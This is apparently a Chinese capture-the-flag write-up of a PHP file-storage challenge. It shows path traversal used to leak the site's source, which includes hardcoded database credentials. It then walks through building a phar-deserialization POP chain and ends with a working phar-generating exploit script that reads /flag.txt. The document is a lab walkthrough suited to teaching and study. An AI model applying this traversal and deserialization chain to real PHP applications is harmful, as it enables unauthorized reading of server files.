主页还是一个登陆框。sql注入无果。
扫下敏感文件。源码泄露。返回包hint。都没有
注册。登陆。有一个文件上传，提示只能上传jpg等
有两个功能。一个下载。一个上传
看到了一个参数。感觉有任意文件读取
尝试../到上级目录。已知有login.php/register.php/download.php/upload.php/delete.php
读取一下,一个../不行。那就两个../
成功读取到了upload的源码。源码中还包含了class.php
全部读取出来
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
register.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>注册</title>
<!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>
<body class="text-center">
<form class="form-signin" action="register.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">注册</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 mb-3 text-muted">© 2018-2019</p>
</form>
</body>
<div class="top" id="toast-container"></div>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
开始分析。。首先从register.php入手
初始化了User类
用户名大于2小于20，密码要大于1为。这部分可以忽略不计
然后调用了User类中的add_user，将用户名密码传入
这部分代码又调用了user_exist($username)
也就是判断用户名是否存在。由于使用预处理进行sql查询。不存在sql注入
如果存在。return false
不存在。就将密码+自定义的字符串。sha1加密后。放入数据库
至此。创建完了新用户
。接下来去login看看
判断就不多说了。调用了User类中的verify_user函数
查询对应用户的密码。查询到了就赋值session。然后创建沙盒
跳转到index.php
index.php继续分析
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
就几行代码。初始化了FileList类。调用Name和Size函数
但是好像并没有这两个函数。这就会触发这个类中的_call魔法函数。
先记着。一般出现魔法函数。就是序列化那方面的东西。构造POP链
upload界面没涉及到类。就是普通的判断后缀名。文件类型。文件上传
download。
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
设置了允许访问的目录。当前目录,etc,tmp
只对这个文件生效
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
}
调用了File类中的open和close
可以看到。close存在文件读取函数
open判断文件存在和是否是目录,这几个函数都是会触发phar反序列化的。那么这题应该就是phar反序列化。读取根目录下的flag。因为web目录。访问flag等等404
delete.php
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
同样调用了File类的open，和delete都可触发phar反序列化
思路有点懂了。由于download限制了open_basedir，所以我们通过delete.php触发反序列化。通过POP链最后。file_get_contents去获取flag内容
去class.php看看。构造pop链
在User类和File类中。都存在close函数
而User类中是通过this->File类>close()
也就调用了file_get_contets函数读取了flag文件。
但是。这边由于反序列化return 了文件内容。将文件内容当作值。放入unlink函数删除。但是。文件不存在。所以就file not exists
继续寻找一个能输出的点
继续看FileList类
就一个构造函数。一个call魔法函数。一个析构函数
call函数将函数名放入files数组中循环取出file->$func
就调用了其他类。
然后看析构函数
都是foreach循环。然后echo输出。这不就有了输出点了吗。
call函数执行File类。析构函数输出。
现在就要想办法执行call函数。由于call函数是在找不到函数时才会执行
那么User类中的析构函数就有了用处
public function __destruct() {
$this->db->close();
}
我们将db修改为FileList类。那么调用Filelist->close()函数。由于不存在close函数。所以会触发call魔法函数。我们再将call魔法函数接收两个值。一个是函数。一个是参数
close()就是函数。参数为空
call就调用了File->close()
然后将File中的filename定义为/flag.txt
POP链构造好了
User类的析构函数->FileList类的close函数->call函数调用File类的close()函数。获取flag内容->FileList的析构函数。输出内容
。开始构造exp
class User{
public $db;
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
#由于file参数是从files。foreach读取的。而foreach要求是个数组。所以这边要用数组
$this->results = array();
$this->funcs = array();
}
}
class File{
public $filename;
public function __construct(){
$this->filename='/flag.txt';
}
}
$a=new User();
$a->db=new FileList();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
可以看见。前面还是file not exists。而后面增加了输出
